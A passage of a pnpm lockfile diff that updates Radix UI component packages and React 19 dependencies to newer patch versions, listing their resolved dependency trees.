-  '@radix-ui/react-one-time-password-field@0.1.13(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-one-time-password-field@0.1.16(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@radix-ui/number': 1.1.2
-      '@radix-ui/primitive': 1.1.6
-      '@radix-ui/react-collection': 1.1.12(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-compose-refs': 1.1.3(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-context': 1.2.0(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-direction': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-primitive': 2.1.7(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-roving-focus': 1.1.16(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-use-controllable-state': 1.2.4(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-effect-event': 0.0.3(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-is-hydrated': 0.1.1(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-layout-effect': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/number': 1.1.3
+      '@radix-ui/primitive': 1.1.7
+      '@radix-ui/react-collection': 1.1.15(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-compose-refs': 1.1.5(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-context': 1.2.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-direction': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-roving-focus': 1.1.19(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-use-controllable-state': 1.2.6(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-effect-event': 0.0.5(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-is-hydrated': 0.1.3(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-layout-effect': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-password-toggle-field@0.1.8(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-password-toggle-field@0.1.11(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@radix-ui/primitive': 1.1.6
-      '@radix-ui/react-compose-refs': 1.1.3(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-context': 1.2.0(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-id': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-primitive': 2.1.7(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-use-controllable-state': 1.2.4(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-effect-event': 0.0.3(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-is-hydrated': 0.1.1(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/primitive': 1.1.7
+      '@radix-ui/react-compose-refs': 1.1.5(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-context': 1.2.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-id': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-use-controllable-state': 1.2.6(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-effect-event': 0.0.5(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-is-hydrated': 0.1.3(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-popover@1.1.17(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-popover@1.1.17(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
       '@radix-ui/primitive': 1.1.4
-      '@radix-ui/react-compose-refs': 1.1.3(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-context': 1.1.4(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-dismissable-layer': 1.1.13(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-focus-guards': 1.1.4(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-focus-scope': 1.1.10(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-id': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-popper': 1.3.1(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-portal': 1.1.12(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-presence': 1.1.6(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-primitive': 2.1.6(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-slot': 1.3.0(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-controllable-state': 1.2.3(@types/react@19.2.17)(react@19.2.7)
+      '@radix-ui/react-compose-refs': 1.1.3(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-context': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-dismissable-layer': 1.1.13(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-focus-guards': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-focus-scope': 1.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-id': 1.1.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-popper': 1.3.1(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-portal': 1.1.12(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-presence': 1.1.6(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-primitive': 2.1.6(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-slot': 1.3.0(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-controllable-state': 1.2.3(@types/react@19.2.18)(react@19.2.8)
       aria-hidden: 1.2.6
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
-      react-remove-scroll: 2.7.2(@types/react@19.2.17)(react@19.2.7)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
+      react-remove-scroll: 2.7.2(@types/react@19.2.18)(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-popover@1.1.20(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-popover@1.1.23(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@radix-ui/primitive': 1.1.6
-      '@radix-ui/react-compose-refs': 1.1.3(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-context': 1.2.0(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-dismissable-layer': 1.1.16(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-focus-guards': 1.1.4(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-focus-scope': 1.1.13(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-id': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-popper': 1.3.4(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-portal': 1.1.14(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-presence': 1.1.8(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-primitive': 2.1.7(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-slot': 1.3.0(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-controllable-state': 1.2.4(@types/react@19.2.17)(react@19.2.7)
+      '@radix-ui/primitive': 1.1.7
+      '@radix-ui/react-compose-refs': 1.1.5(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-context': 1.2.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-dismissable-layer': 1.1.19(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-focus-guards': 1.1.6(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-focus-scope': 1.1.16(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-id': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-popper': 1.3.7(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-portal': 1.1.17(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-presence': 1.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-slot': 1.3.3(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-controllable-state': 1.2.6(@types/react@19.2.18)(react@19.2.8)
       aria-hidden: 1.2.6
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
-      react-remove-scroll: 2.7.2(@types/react@19.2.17)(react@19.2.7)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
+      react-remove-scroll: 2.7.2(@types/react@19.2.18)(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-popper@1.3.1(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-popper@1.3.1(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@floating-ui/react-dom': 2.1.9(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-arrow': 1.1.10(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-compose-refs': 1.1.3(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-context': 1.1.4(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-primitive': 2.1.6(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-use-callback-ref': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-layout-effect': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-rect': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-size': 1.1.2(@types/react@19.2.17)(react@19.2.7)
+      '@floating-ui/react-dom': 2.1.9(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-arrow': 1.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-compose-refs': 1.1.3(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-context': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-primitive': 2.1.6(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-use-callback-ref': 1.1.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-layout-effect': 1.1.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-rect': 1.1.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-size': 1.1.2(@types/react@19.2.18)(react@19.2.8)
       '@radix-ui/rect': 1.1.2
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-popper@1.3.4(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-popper@1.3.7(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@floating-ui/react-dom': 2.1.9(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-arrow': 1.1.12(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-compose-refs': 1.1.3(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-context': 1.2.0(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-primitive': 2.1.7(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-use-callback-ref': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-layout-effect': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-rect': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-size': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/rect': 1.1.2
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@floating-ui/react-dom': 2.1.9(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-arrow': 1.1.15(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-compose-refs': 1.1.5(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-context': 1.2.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-use-callback-ref': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-layout-effect': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-rect': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-size': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/rect': 1.1.3
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-portal@1.1.12(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-portal@1.1.12(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@radix-ui/react-primitive': 2.1.6(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-use-layout-effect': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/react-primitive': 2.1.6(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-use-layout-effect': 1.1.2(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-portal@1.1.14(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-portal@1.1.17(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@radix-ui/react-primitive': 2.1.7(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-use-layout-effect': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-use-layout-effect': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-portal@1.1.9(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-portal@1.1.9(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@radix-ui/react-primitive': 2.1.3(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/react-primitive': 2.1.3(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-presence@1.1.5(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-presence@1.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/react-use-layout-effect': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-presence@1.1.6(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-presence@1.1.5(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@radix-ui/react-use-layout-effect': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-presence@1.1.8(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-presence@1.1.6(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@radix-ui/react-use-layout-effect': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/react-use-layout-effect': 1.1.2(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-primitive@2.1.3(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-primitive@2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@radix-ui/react-slot': 1.2.3(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/react-slot': 1.3.3(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-primitive@2.1.4(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-primitive@2.1.3(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@radix-ui/react-slot': 1.2.4(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/react-slot': 1.2.3(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-primitive@2.1.6(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-primitive@2.1.6(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@radix-ui/react-slot': 1.3.0(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/react-slot': 1.3.0(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-primitive@2.1.7(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-progress@1.1.16(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@radix-ui/react-slot': 1.3.0(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/react-context': 1.2.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
